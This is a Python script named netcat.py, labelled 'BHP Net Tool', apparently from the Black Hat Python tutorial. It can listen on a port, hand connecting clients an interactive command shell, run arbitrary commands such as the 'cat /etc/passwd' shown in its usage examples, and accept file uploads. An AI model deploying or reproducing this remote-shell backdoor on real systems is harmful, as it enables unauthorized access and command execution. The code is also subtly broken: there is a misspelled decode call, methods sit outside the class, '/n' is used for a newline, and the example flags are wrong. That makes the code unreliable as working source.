netcat.py

import argparse
import socket
import shlex
import subprocess
import sys
import textwrap
import threading

def execute(cmd):
    cmd = cmd.strip()
    if not cmd:
        return
    output = subprocess.check_output(shlex.split(cmd),stderr=subprocess.STDOUT)
    return output.decode()

class NetCat:
    def __init__(self, args, buffer=None) :
        self.args = args
        self.buffer = buffer
        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

    def run(self):
        if self.args.listen:
            self.listen()
        else:
            self.send()

    def send(self):
        self.socket.connect((self.args.target, self.args.port))
        if self.buffer:
             self.socket.send(self.buffer)

        try:
            while True:
                recv_len = 1
                response = ''
                while recv_len:
                    data = self.socket.recv(4096)
                    recv_len = len(data)
                    response += data_decode()
                    if recv_len < 4096:
                        break
                if response:
                    print(response)
                    buffer = input('> ')
                    buffer += '\n'
                    self.socket.send(buffer.encode())
        except KeyboardInterrupt:
            print('User terminated.')
            self.socket.close()
            sys.exit()

def listen(self):
    self.socket.bind((self.args.target, self.args.port))
    self.socket.listen(5)

    while True:
        client_socket, _ = self.socket.accept()
        client_thread = threading.Thread(target=self.handle, args = (client_socket,))
        client_thread.start()

def handle(self, client_socket):
    if self.args.execute:
        output = execute(self.args.execute)
        client_socket.send(output.encode())
    elif self.args.upload:
        file_buffer = b''
        while True:
            data = client_socket.recv(4096)
            if data:
                file_buffer += data
            else:
                break
            with open(self.args.upload, 'wb') as f:
                    f.write(file_buffer)
            message =f'Saved file {self.args.upload}'
            client_socket.send(message.encode())
    elif self.args.command:
        cmd_buffer = b''
        while True:
            try:
                client_socket.send(b'BHP: #> ')
                while '/n' not in cmd_buffer.decode():
                    cmd_buffer += client_socket.recv(64)
                response = execute (cmd_buffer.decode())
                if response:
                    client_socket.send(response.encode())
                cmd_buffer = b''
            except Exception as e:
                print(f'server killed {e}')
                self.socket.close()
                sys.exit()



if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='BHP Net Tool',formatter_class=argparse.RawDescriptionHelpFormatter,
                                     epilog=textwrap.dedent('''Examples:
                                                            netcat.py -t 192.168.1.108 -p 5555 -1 -c # command shell
                                                            netcat.py -t 192.168.1.108 -p 5555 -1 -u=mytest.txt # upload to file
                                                            netcat.py -t 192.168.1.108 -p 5555 -1 -e=\"cat /etc/passwd\" # execute command
                                                            echo 'ABC' | ./netcat.py -t 192.168.1.108 -p 135 # echo text to server port 135 netcat.py -t 192.168.1.108 -p 5555 # connect to server
    '''))
    parser.add_argument('-c', '--command', action="store_true", help= 'command shell')
    parser.add_argument('-e','--execute', help='execute command')
    parser.add_argument('-l', '--listen', action='store_true', help='listen')
    parser.add_argument('-p','--port', type=int, default=5555, help='specified port')
    parser.add_argument('-t', '--target', default='192.168.1.203', help='specified IP')
    parser.add_argument('-u', '--upload', help='upload file')
    args= parser.parse_args()

    if args.listen:
        buffer = ''
    else:
        buffer = sys.stdin.read()

    nc = NetCat(args, buffer.encode())
    nc.run()